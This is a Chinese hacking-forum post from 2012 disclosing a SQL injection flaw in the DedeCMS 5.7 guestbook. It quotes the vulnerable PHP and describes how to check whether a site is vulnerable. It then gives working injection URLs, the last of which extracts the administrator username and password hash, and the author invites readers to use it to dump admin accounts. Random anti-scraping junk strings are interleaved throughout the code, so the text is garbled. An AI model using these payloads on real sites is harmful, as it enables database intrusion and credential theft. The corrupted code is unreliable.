找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3919|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
0 U4 t; s2 ]/ {% s4 Z' p
9 O' P) f' p/ u! t2 b! K2 p' z  \6 p漏洞文件edit.inc.php具体代码:
7 t! @# J  x! F9 S/ r6 U3 Q9 P) s0 y1 ]
< ?php  ! n/ P4 }; J) a

- |6 M, L7 W! Q% c- q& y5 oif(!defined('DEDEINC')) exit('Request Error!');  
  |" s$ ?3 g9 x
* O- _' t( {, I' H& [% ~; E   0 j5 m8 x9 j8 X2 n4 X

6 b6 B9 o: C: U0 n8 }if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
. [/ s! U# @2 E1 t
& o' Y. w0 D* O( T5 l/ ^: Pelse $GUEST_BOOK_POS = "guestbook.php";  
: l# }; I$ s0 ^8 O  L6 S  `: ]0 C) q6 w
   
2 H' P) `3 Z% _* U$ f. q. C
% N" L/ m6 T0 l$ a* U( N" m% d# K- N$id = intval($id);  8 T: G" B- f: x+ g3 _* r+ M9 _

8 M: s, n+ S- O5 E: ?2 e0 zif(empty($job)) $job='view';  
- I* g* {2 T: p+ }; Z' M) ?# I3 x7 Q$ w6 G' `% f
     |) A% f$ L# M  e6 S  k6 S6 I

, ?0 c& P' W2 H0 M+ @7 rif($job=='del' && $g_isadmin)  
( f  ^4 V# p! i0 E7 I' |6 a$ p. t. Y4 q  U7 D9 d/ t  k, F
{  . b( U; C/ s: [

& B. @8 i+ P' N1 Z( P9 c3 f$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
" [' ?& g  i% [; z! c! L, \! m* [9 y
3 c; O4 P6 H1 a' A  t: w+ L; `8 ^ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
6 E5 P5 @4 x. D& P6 l2 f2 l# n  m% m
exit();  
) U# G3 |" V8 G* Y+ H  V
# a, Q$ g+ B! E  j2 k$ y}  
& [) Y( D% h* i- u; j% g" J! W, c4 @* r$ v
else if($job=='check' && $g_isadmin)  
  y. @1 Y( M+ O% s3 w
/ ^# {& J$ W4 C! b/ }/ U" [& A+ x4 ~3 v{  
0 c$ T" V/ F" b: b$ w/ I& D" k2 I- O4 Z' k& i  \/ I+ E4 w, x
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  6 B- y$ W6 Q3 ?" x' O, }+ p, U

6 D4 \3 W" r7 ?. @- `( Z  ^ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
! K; I1 L0 f- ~- [5 r; J& l3 d- C4 S) _& M0 U
exit();  2 g  X  F+ [$ Y
' @7 d. G% X2 v% q: @
}  4 D# C$ J, f, y
  h, x% G/ u' J0 r0 G4 Q( g; u
else if($job=='editok')  & r! G8 ^0 o% s& H
% Y8 E$ }5 \4 I. Q
{  # J% ?8 ]" p. h9 e" c+ V5 A0 P

/ N7 b/ F  m6 I4 X$remsg = trim($remsg);  
: {) b/ {: I$ j5 p3 ]4 ]* [/ _# ^4 o9 f% \0 W4 O9 p9 E3 X+ ]
if($remsg!='')  & I7 k* x5 V) N

; p" A& q7 d* S1 N5 S5 b# @* p{  
' f& ~2 q5 g- s  Q8 g6 m4 o5 t* L' I! l8 K+ M( o
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
+ K. J( q1 e! f9 E5 ]" e. I& c9 h# `  E9 |% O1 }0 A1 S* L
if($g_isadmin)  
5 Y: t, _9 C. a1 k
) U* p# b7 @1 \. u{  
- h! c0 U, |  [; f8 \# T5 B$ W# T8 m
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  - q. p; o- f! \' H, w4 e
! R+ O' O: G6 L! q! T. V3 t# M
//$remsg <br /><font color=red>管理员回复:</font> }  # q# u- J2 \* L/ R& {

1 S$ N$ I; s' P( f/ J# Pelse ( t4 W( g) |  d

+ k# l/ V( _# [7 k' d{  
- I$ u4 c  c3 z; s& x9 ^: M
2 y" J# z  s. i7 z$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  % R8 g5 |# E8 u% D
+ F3 c* b0 n1 N$ O+ i4 L
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
9 ?! i3 p$ R6 N0 S. Z& J
$ o8 ]& H/ ~. I9 ~" U$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  % r" {& _$ q, l- Z
9 S. ^2 A! O& |3 g- G, l  L
$msg = $oldmsg.$remsg;  
% ?4 }& \* H9 ^
/ s$ W5 ~; R% W- M}  
( c5 A' f( T! a" P2 \1 z) w! D' `8 p$ p5 n/ O6 X
}  
$ B! E4 g5 B; R$ U/ B1 T! A
6 t3 R3 ~4 C; |) u! Q# M//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  3 h, X4 z3 J0 A/ A
" |# ^/ ^/ K5 A8 O" K7 e
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  ) i, W6 A. V9 a& r
1 @. M0 `! ?7 _
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
0 X' M& x% P1 z' t3 E* }' c$ k
! j0 `# ]* k. G. g. aexit();  
( K. \0 m$ F; H7 g" C* ~
( A+ O& ^/ \5 r$ g$ u3 U6 Y6 H4 M}  
; a) [0 [; t. F  ]7 @* n" w- x3 x4 X5 F+ z
//home:www.errs.cc  
7 P7 j. Z5 \2 `+ @0 S' A' e
9 v3 N( x7 D* P- ^5 ~  Eif($g_isadmin)  7 x  D2 b* Z, f4 a, s! A) F' F

. H3 a" q! J9 U! M9 D{  & I+ ?9 @. L& z* f. d* W0 I

" Q  K; j+ ~1 g* w. `1 w! H$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
5 w/ Y$ I5 _6 W( y/ T( e9 M- b! `/ B5 ^  H. n* t8 f9 ^
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  3 B, o5 Y" |+ k" E0 P7 I% N: @

) L1 U2 H: Z+ D" e" X% q}  ' @. y3 i# w! E: |
$ K6 @' {! p  \1 u2 u4 ?
else
# g# F4 l! ?& ^1 |8 U6 `/ ^2 r& k: L' p4 R7 L
{  # q1 B- x& e; K5 c# G% [4 S

4 |7 D5 T/ t$ L3 l) Y$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ' F- X2 s7 ]7 I/ n/ H- P! W; B+ U* g

8 h( I! M) @' ~, \; [& D. ~9 Lrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
- k, C4 x) I9 s. n+ X4 d3 h9 V6 O4 B
} 漏洞成功需要条件:
! O) @3 i- A$ O: n1. php magic_quotes_gpc=off
5 @* X7 l5 d1 u' l* G5 C. Y: G2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
2 D! q- f) A, P+ C9 o- l, F
) M+ p' z: D9 ^, P: e% p$ R2 i怎么判断是否存在漏洞:
, L' R  ?$ c& s; }6 H先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,8 t+ p& r* j! O* s
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; a0 d' Y* P  q/ T$ N1 S5 G& u% Q
访问:
% T; S! N+ ^: P! Q
& }& k2 |3 r" O: v2 P( bwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了/ f/ y3 Q0 P" j/ v6 m# i' I
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证6 U: l6 V5 }- Z

0 J3 T7 O- D1 v$ ~. Z! A, F: B' f5 `( e, k
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ B7 a  l  D, l
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。6 [. I0 J3 X5 Z5 m$ w/ \0 O+ l
那么再次访问7 F8 I% y0 c8 F7 q) `! L
8 p% x$ Z- R$ a! J, t4 V4 N
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
5 f/ C( u: A, x3 t5 a6 C3 j. V6 h+ x3 C$ N5 k
大概利用就是这样,大家有兴趣的多研究下!!" ]& B- ^8 e5 N

5 f, L3 T% ~- Z# F& _& z最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!0 X# r2 w3 l. ^' u, k6 S, n
- j( I% v8 i5 K; T. s$ C# s: q- s
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表